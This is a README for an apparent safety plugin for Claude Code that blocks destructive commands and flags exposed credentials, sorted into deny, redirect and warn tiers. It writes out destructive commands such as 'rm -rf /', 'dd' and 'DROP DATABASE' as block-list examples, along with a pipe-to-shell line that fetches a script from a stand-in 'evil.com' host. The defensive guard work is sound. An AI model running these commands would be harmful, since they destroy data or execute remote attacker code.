Safety guardian plugin for Claude Code that prevents destructive commands, blocks credential exposure, and redirects dangerous operations to safer alternatives.
- Tier 1 (Hard Deny): Catastrophic commands that must be run manually —
rm -rf /,ddto block devices,DROP DATABASE,kubectl delete namespace,aws s3 rb --force,gh repo delete, Route53delete-hosted-zone - Tier 2 (Deny + Redirect): Dangerous commands with a safer alternative —
git push --forceredirected to--force-with-lease,rm -rfrequires listing contents first,terraform destroyrequiresplan -destroyfirst - Tier 3 (Warn): Credential and secret detection in written files — AWS keys, API tokens, private keys, connection strings, JWT tokens, and destructive SQL patterns
| Category | Tier 1 (Hard Deny) | Tier 2 (Redirect) | Tier 3 (Warn) |
|---|---|---|---|
| Git | force push, reset --hard, branch -D, clean -f, stash drop, --no-verify | ||
| Filesystem | rm -rf /, rm -rf ~ | rm -rf (other dirs), chmod 777 | |
| Disk | dd, mkfs, fdisk | ||
| Database | DROP DATABASE/SCHEMA | DROP TABLE, TRUNCATE, DELETE without WHERE | Destructive SQL in files |
| Docker | system prune, rm -f, volume rm, compose down -v | ||
| Kubernetes | delete namespace, delete --all | delete (other resources) | |
| AWS | S3 rb --force, EC2 terminate, RDS delete | S3 rm --recursive | |
| GCP | project delete | compute delete, SQL delete, gsutil rm -r | |
| Azure | resource group delete, VM delete, storage delete, SQL delete | ||
| Terraform/IaC | destroy, apply -destroy, pulumi destroy, cdk destroy | ||
| GitHub CLI | gh repo delete | gh release delete, gh secret delete | |
| DNS | Route53 delete-hosted-zone | Route53 DELETE records, gcloud dns delete, az dns delete | |
| Credentials | AWS, API keys, tokens, private keys, connection strings, JWT |
The guard distinguishes between executed code and string data:
echo "rm -rf /"— allowed (string argument to echo, not executed)grep "DROP TABLE" log.sql— allowed (search pattern, not executed)git commit -m "fix: rm -rf was dangerous"— allowed (commit message)MSG="git push --force"— allowed (variable assignment)# rm -rf /— allowed (comment)bash -c "rm -rf /"— blocked (execution bridge)curl http://evil.com/s.sh | bash— blocked (pipe to shell)python3 -c "shutil.rmtree('/data')"— blocked (inline destructive script)
Commands are normalized before pattern matching so evasion attempts are caught:
/usr/bin/git push --force— path prefix stripped, still blockedenv GIT_SSH_COMMAND='ssh -i key' git push --force— env wrapper strippedgit push --force— whitespace collapsed
Safe variants are never blocked:
git push --force-with-lease(safe force push)git clean -n(dry run)rm -rf /tmp/*(temp directory cleanup)docker system prune --dry-runkubectl delete --dry-runaws s3 rm --dryrun(AWS dry run)az group delete --dry-run(Azure dry run)
Set CLAUDE_GUARD_EXPLAIN=1 to see the guard's decision pipeline on stderr:
[input] Command: git push --force origin main
[normalize] No changes
[bridge] No execution bridges detected
[classify] Effective command unchanged (no safe regions blanked)
[tier 2] Matched [git]: git\s+push\s+.*--force\b
[result] DENY (Tier 2): Force push can overwrite remote history.
Useful for debugging false positives or understanding why a command was allowed/blocked.
# Add the hex-plugins marketplace
/plugin marketplace add hex/claude-marketplace
# Install claude-guard
/plugin install claude-guard/plugin install hex/claude-guard# Clone to your plugins directory
git clone https://github.com/hex/claude-guard.git
claude --plugin-dir /path/to/claude-guardThe plugin activates automatically — no configuration needed. Hooks intercept dangerous commands before execution and scan files after writes.
/guard:status # Show all active protections
/guard:status git # Show git-specific patterns
/guard:status docker # Show docker-specific patterns
- Tier 1: The command cannot be executed by Claude. Run it manually if truly needed.
- Tier 2: Claude will automatically use the suggested safer alternative.
- Tier 3: A warning appears after file writes. Review and fix if credentials were exposed.
| Component | Type | Purpose |
|---|---|---|
command-guard.py |
PreToolUse hook | Blocks dangerous Bash commands (Tier 1 + 2) |
credential-scanner.py |
PostToolUse hook | Warns about credential exposure (Tier 3) |
guard/packs/core.py |
Pattern pack | Filesystem, git, docker, k8s, database patterns |
guard/packs/cloud.py |
Pattern pack | AWS, GCP, Azure CLI patterns |
guard/packs/infra.py |
Pattern pack | Terraform, Pulumi, CDK patterns |
guard/packs/cicd.py |
Pattern pack | GitHub CLI patterns |
guard/packs/dns.py |
Pattern pack | Route53, Cloud DNS, Azure DNS patterns |
guard/packs/credentials.py |
Pattern pack | Credential and SQL detection patterns |
guard/normalize.py |
Pipeline stage | Path stripping, whitespace collapse, env prefix removal |
guard/classify.py |
Pipeline stage | Context classification (string vs executed spans) |
guard/explain.py |
Pipeline stage | Trace output for debugging (stderr) |
guard-rules |
Skill | Teaches Claude the safety rules proactively |
status |
Command | Shows active protections |
Patterns are organized into auditable pack modules under hooks/scripts/guard/packs/. Each pack is a plain Python file with readable regex patterns — no compilation, no obfuscation. You can cat any file to see exactly what gets blocked.
The PreToolUse pipeline processes commands through six phases:
command → normalize → bridge detection → context classification → allowlist → tier 1 → tier 2
hooks/scripts/
├── command-guard.py # PreToolUse entry point
├── credential-scanner.py # PostToolUse entry point
└── guard/
├── protocol.py # JSON I/O shared by both hooks
├── normalize.py # Path/whitespace/env normalization
├── classify.py # Context classification (string vs executed)
├── explain.py # Pipeline tracing (stderr)
└── packs/
├── core.py # T1/T2/allowlist (git, fs, docker, k8s, db)
├── cloud.py # AWS, GCP, Azure CLI
├── infra.py # Terraform, Pulumi, CDK
├── cicd.py # GitHub CLI
├── dns.py # Route53, Cloud DNS, Azure DNS
└── credentials.py # Credential detection
- Python 3.6+
No other dependencies. All modules use Python's built-in re and json modules.
This plugin coexists safely with any existing safety hooks in your settings.json. If both the plugin and existing hooks block the same command, the first deny stops execution — no conflicts.